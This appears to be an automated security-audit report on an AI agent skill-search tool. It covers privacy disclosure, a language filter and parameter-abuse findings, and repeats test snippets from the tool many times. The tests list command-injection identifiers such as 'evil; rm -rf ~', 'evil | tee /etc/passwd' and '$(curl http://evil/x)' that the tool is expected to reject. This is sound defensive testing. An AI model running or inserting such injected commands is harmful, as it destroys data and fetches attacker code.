Security audit
Security checks for vulnerabilities and agentic risk
This skill is a disclosed search tool for finding other skills, and its external lookups and optional URL scanning are described with user-control requirements.
Install only if you are comfortable with search queries being sent to the listed external directories. Do not use confidential client names or unreleased project codenames as queries, and only enable --scan --share-urls when you want result URLs sent to Gen Digital for advisory labels.
The description frames the skill as a discovery/comparison tool, but the body reveals additional behavior: optional URL submission to a third-party scanner and language-based filtering. That mismatch is security-relevant because users and orchestrators may approve or invoke the skill without understanding that searches disclose user queries to multiple services and scans disclose result URLs to another party.
The skill includes a feature to exclude Chinese-language results, which creates a discriminatory filtering mechanism not justified by a clear security policy or necessity. In practice this can systematically suppress relevant results, bias recommendations, and enable inappropriate content exclusion under the guise of ranking or safety.
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
"""Hostile identifiers must be rejected outright, not sanitised."""
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
"`curl http://evil/x`",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
"`curl http://evil/x`",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
"`curl http://evil/x`",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
"`curl http://evil/x`",
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
REJECT = [
"evil; rm -rf ~",
"evil | tee /etc/passwd",
"evil && curl http://x",
"$(curl http://evil/x)",
"`curl http://evil/x`",
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
"slug": "x", "displayName": "X",
"install": {
"kind": "skills-sh",
"reference": "skills-sh:evil; rm -rf ~",
},
}]})
self.assertEqual(results[0].install_args, [])
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
self.assertTrue(results[0].installable)
def test_hostile_mirrored_reference_is_still_rejected(self):
results = self._run("skills-sh", "skills-sh:evil; rm -rf ~")
self.assertEqual(results[0].install_args, [])
self.assertEqual(results[0].sources, ["skills.sh"],
"rejection must not change attribution")
This entry documents that earlier versions performed --scan disclosure without asking the user first. In a skill-discovery tool, scanned URLs or identifiers may reveal user interests, internal repositories, or sensitive targets to an external service, so making that decision autonomously is a genuine privacy and policy issue.
- built install commands by string interpolation (`f"clawhub install {slug}"`)
from registry-controlled names;
- had **no `--share-urls` consent gate** — `--scan` disclosed without asking;
- parsed the scan response with `data.get("status") == "done"`, a key no live
response carries, so every scan silently returned nothing.
Detected: suspicious.dynamic_code_execution